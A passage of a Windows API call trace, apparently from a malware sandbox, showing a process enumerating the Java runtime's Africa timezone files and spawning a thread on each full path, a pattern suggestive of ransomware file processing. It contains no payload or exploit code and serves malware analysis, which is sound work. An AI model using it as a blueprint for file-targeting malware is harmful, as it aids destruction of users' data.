ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juba", cAlternateFileName="")) returned 1 [0158.184] wcscmp (_String1="Juba", _String2=".") returned 1 [0158.184] wcscmp (_String1="Juba", _String2="..") returned 1 [0158.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1e90 [0158.185] wcscpy (in: _Dest=0x1b7c1e90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.185] wcscat (in: _Dest=0x1b7c1e90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.185] wcscat (in: _Dest=0x1b7c1e90, _Source="Juba" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Juba" [0158.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db8 [0158.186] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kampala", cAlternateFileName="")) returned 1 [0158.186] wcscmp (_String1="Kampala", _String2=".") returned 1 [0158.186] wcscmp (_String1="Kampala", _String2="..") returned 1 [0158.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cf5e680 [0158.186] wcscpy (in: _Dest=0x1cf5e680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.186] wcscat (in: _Dest=0x1cf5e680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.186] wcscat (in: _Dest=0x1cf5e680, _Source="Kampala" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kampala" [0158.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1da0 [0158.187] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x151, dwReserved0=0x0, dwReserved1=0x0, cFileName="Khartoum", cAlternateFileName="")) returned 1 [0158.187] wcscmp (_String1="Khartoum", _String2=".") returned 1 [0158.188] wcscmp (_String1="Khartoum", _String2="..") returned 1 [0158.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5e700 [0158.188] wcscpy (in: _Dest=0x1cf5e700, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.188] wcscat (in: _Dest=0x1cf5e700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.188] wcscat (in: _Dest=0x1cf5e700, _Source="Khartoum" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Khartoum" [0158.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2224 [0158.189] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kigali", cAlternateFileName="")) returned 1 [0158.189] wcscmp (_String1="Kigali", _String2=".") returned 1 [0158.189] wcscmp (_String1="Kigali", _String2="..") returned 1 [0158.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cf5e780 [0158.189] wcscpy (in: _Dest=0x1cf5e780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.189] wcscat (in: _Dest=0x1cf5e780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.189] wcscat (in: _Dest=0x1cf5e780, _Source="Kigali" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kigali" [0158.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780 [0158.191] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kinshasa", cAlternateFileName="")) returned 1 [0158.191] wcscmp (_String1="Kinshasa", _String2=".") returned 1 [0158.191] wcscmp (_String1="Kinshasa", _String2="..") returned 1 [0158.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cf5e800 [0158.191] wcscpy (in: _Dest=0x1cf5e800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.191] wcscat (in: _Dest=0x1cf5e800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.191] wcscat (in: _Dest=0x1cf5e800, _Source="Kinshasa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Kinshasa" [0158.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8 [0158.192] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lagos", cAlternateFileName="")) returned 1 [0158.192] wcscmp (_String1="Lagos", _String2=".") returned 1 [0158.192] wcscmp (_String1="Lagos", _String2="..") returned 1 [0158.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cf5e880 [0158.192] wcscpy (in: _Dest=0x1cf5e880, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.192] wcscat (in: _Dest=0x1cf5e880, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.192] wcscat (in: _Dest=0x1cf5e880, _Source="Lagos" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lagos" [0158.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd4c [0158.193] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libreville", cAlternateFileName="LIBREV~1")) returned 1 [0158.193] wcscmp (_String1="Libreville", _String2=".") returned 1 [0158.193] wcscmp (_String1="Libreville", _String2="..") returned 1 [0158.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cf5e900 [0158.194] wcscpy (in: _Dest=0x1cf5e900, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.194] wcscat (in: _Dest=0x1cf5e900, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.194] wcscat (in: _Dest=0x1cf5e900, _Source="Libreville" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Libreville" [0158.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594 [0158.195] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lome", cAlternateFileName="")) returned 1 [0158.195] wcscmp (_String1="Lome", _String2=".") returned 1 [0158.195] wcscmp (_String1="Lome", _String2="..") returned 1 [0158.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c21a0 [0158.195] wcscpy (in: _Dest=0x1b7c21a0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.195] wcscat (in: _Dest=0x1b7c21a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.195] wcscat (in: _Dest=0x1b7c21a0, _Source="Lome" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lome" [0158.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c21a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14e0 [0158.196] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Luanda", cAlternateFileName="")) returned 1 [0158.196] wcscmp (_String1="Luanda", _String2=".") returned 1 [0158.196] wcscmp (_String1="Luanda", _String2="..") returned 1 [0158.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cf5e980 [0158.196] wcscpy (in: _Dest=0x1cf5e980, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.196] wcscat (in: _Dest=0x1cf5e980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.196] wcscat (in: _Dest=0x1cf5e980, _Source="Luanda" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Luanda" [0158.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5e980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50 [0158.197] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lubumbashi", cAlternateFileName="LUBUMB~1")) returned 1 [0158.197] wcscmp (_String1="Lubumbashi", _String2=".") returned 1 [0158.197] wcscmp (_String1="Lubumbashi", _String2="..") returned 1 [0158.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1cf5ea00 [0158.198] wcscpy (in: _Dest=0x1cf5ea00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.198] wcscat (in: _Dest=0x1cf5ea00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.198] wcscat (in: _Dest=0x1cf5ea00, _Source="Lubumbashi" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lubumbashi" [0158.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ea00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d8 [0158.199] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lusaka", cAlternateFileName="")) returned 1 [0158.199] wcscmp (_String1="Lusaka", _String2=".") returned 1 [0158.199] wcscmp (_String1="Lusaka", _String2="..") returned 1 [0158.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cf5ea80 [0158.199] wcscpy (in: _Dest=0x1cf5ea80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.199] wcscat (in: _Dest=0x1cf5ea80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.199] wcscat (in: _Dest=0x1cf5ea80, _Source="Lusaka" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Lusaka" [0158.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ea80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b4 [0158.200] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Malabo", cAlternateFileName="")) returned 1 [0158.201] wcscmp (_String1="Malabo", _String2=".") returned 1 [0158.201] wcscmp (_String1="Malabo", _String2="..") returned 1 [0158.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cf5eb00 [0158.201] wcscpy (in: _Dest=0x1cf5eb00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.201] wcscat (in: _Dest=0x1cf5eb00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.201] wcscat (in: _Dest=0x1cf5eb00, _Source="Malabo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Malabo" [0158.201] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5eb00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a8 [0158.202] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maputo", cAlternateFileName="")) returned 1 [0158.202] wcscmp (_String1="Maputo", _String2=".") returned 1 [0158.202] wcscmp (_String1="Maputo", _String2="..") returned 1 [0158.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cf5eb80 [0158.202] wcscpy (in: _Dest=0x1cf5eb80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.202] wcscat (in: _Dest=0x1cf5eb80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.202] wcscat (in: _Dest=0x1cf5eb80, _Source="Maputo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maputo" [0158.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5eb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2150 [0158.203] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maseru", cAlternateFileName="")) returned 1 [0158.203] wcscmp (_String1="Maseru", _String2=".") returned 1 [0158.203] wcscmp (_String1="Maseru", _String2="..") returned 1 [0158.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1cf5ec00 [0158.203] wcscpy (in: _Dest=0x1cf5ec00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.204] wcscat (in: _Dest=0x1cf5ec00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.204] wcscat (in: _Dest=0x1cf5ec00, _Source="Maseru" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Maseru" [0158.204] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ec00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec [0158.205] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mbabane", cAlternateFileName="")) returned 1 [0158.205] wcscmp (_String1="Mbabane", _String2=".") returned 1 [0158.205] wcscmp (_String1="Mbabane", _String2="..") returned 1 [0158.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cf5ec80 [0158.205] wcscpy (in: _Dest=0x1cf5ec80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.205] wcscat (in: _Dest=0x1cf5ec80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.205] wcscat (in: _Dest=0x1cf5ec80, _Source="Mbabane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mbabane" [0158.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf5ec80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaf0 [0158.206] FindNextFileW (in: hFindFile=0x1cd86c70, lpFindFileData=0x1cd61430 | out: lpFindFileData=0x1cd61430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mogadishu", cAlternateFileName="MOGADI~1")) returned 1 [0158.206] wcscmp (_String1="Mogadishu", _String2=".") returned 1 [0158.206] wcscmp (_String1="Mogadishu", _String2="..") returned 1 [0158.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cf5ed00 [0158.206] wcscpy (in: _Dest=0x1cf5ed00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0158.206] wcscat (in: _Dest=0x1cf5ed00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0158.206] wcscat (in: _Dest=0x1cf5ed00, _Source="Mogadishu" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Mogadishu") returned="C:\\Program Files 